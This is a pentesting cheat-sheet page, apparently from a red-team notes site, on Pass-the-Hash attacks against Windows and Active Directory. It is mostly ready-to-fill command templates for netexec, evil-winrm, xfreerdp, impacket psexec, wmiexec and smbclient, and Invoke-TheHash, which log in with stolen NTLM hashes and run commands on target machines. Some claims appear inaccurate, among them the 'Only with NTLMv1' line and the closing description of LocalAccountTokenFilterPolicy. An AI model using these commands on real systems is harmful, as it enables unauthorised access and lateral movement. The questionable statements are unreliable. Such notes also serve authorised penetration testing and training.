> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/pass-the-hash.md).

# Pass The Hash

Only with **NTLMv1**.

It consists of passing hashes as passwords to log in, which is useful when password cracking has failed. It can be done on an Active Directory domain or on local accounts without passing the domain.

Requires an SMB connection, Windows File and Printer Sharing enabled, the ADMIN$ share available (all default settings on modern Windows Server systems) and a valid credentials with local administrative permissions.

This method works for Active Directory domain accounts and the built-in local administrator account. However, due to the [*2014 security update*](https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a), this technique cannot be used to authenticate as any other local admin account.

{% tabs %}
{% tab title="Linux" %}

<table><thead><tr><th width="196">Tools</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://www.netexec.wiki/">netexec</a></td><td><code>nxc smb &#x3C;IP> -d . -u &#x3C;USER> -H &#x3C;HASH> -x &#x3C;COMMAND></code><br><code>nxc smb &#x3C;IP> --local-auth -u &#x3C;USER> -H &#x3C;HASH> -x &#x3C;COMMAND></code></td></tr><tr><td><a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a></td><td><code>evil-winrm -i &#x3C;IP> -u &#x3C;USER>[@&#x3C;DOMAIN>] -H &#x3C;HASH></code></td></tr><tr><td><a href="https://github.com/FreeRDP/FreeRDP">xfreerdp</a></td><td><code>xfreerdp /v:&#x3C;IP> /u:&#x3C;USER> /pth:&#x3C;HASH> /dynamic-resolution</code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/smbclient.py">impacket-smbclient</a></td><td><code>smbclient //&#x3C;IP>//&#x3C;SHARE> -U &#x3C;USER> --pw-nt-hash &#x3C;HASH></code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/psexec.py">impacket-psexec</a></td><td><code>psexec -hashes &#x3C;[LMHash]:NTHash> &#x3C;USER>@&#x3C;IP></code></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/wmiexec.py">impacket-wmiexec</a></td><td><code>wmiexec -hashes &#x3C;[LMHash]:NTHash> &#x3C;USER>@&#x3C;IP></code></td></tr><tr><td>smbclient</td><td><code>smbclient -U &#x3C;user> --pw-nt-hash //&#x3C;IP>/&#x3C;SHARE></code><br><em>> enter the hash instead of the password</em></td></tr></tbody></table>

Others [**impacket-scripts**](https://www.kali.org/tools/impacket-scripts/#impacket-scripts) such as [atexec](https://github.com/fortra/impacket/blob/master/examples/atexec.py), [smbexec](https://github.com/fortra/impacket/blob/master/examples/smbexec.py).
{% endtab %}

{% tab title="Windows" %}

### [Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash)

{% code overflow="wrap" %}

```powershell
Invoke-SMBExec -Target <IP> [-Domain <DOMAIN>] -Username <USER> -Hash <HASH> -Command "<CMD>"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-WMIExec -Target <IP> [-Domain <DOMAIN>] -Username <USER> -Hash <HASH> -Command "<CMD>"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-SMBClient -Username <USER> -Hash <HASH> -Source \\server\share [-Action Get|Delete]
```

{% endcode %}
{% endtab %}
{% endtabs %}

*The user and hash we use for authentication must have administrative rights on the target computer, but if LocalAccountTokenFilterPolicy is set then only RID-500, “Administrator,” can perform remote administration tasks, if FilterAdministratorToken is also set neither can he. These settings are only for local administrative accounts.*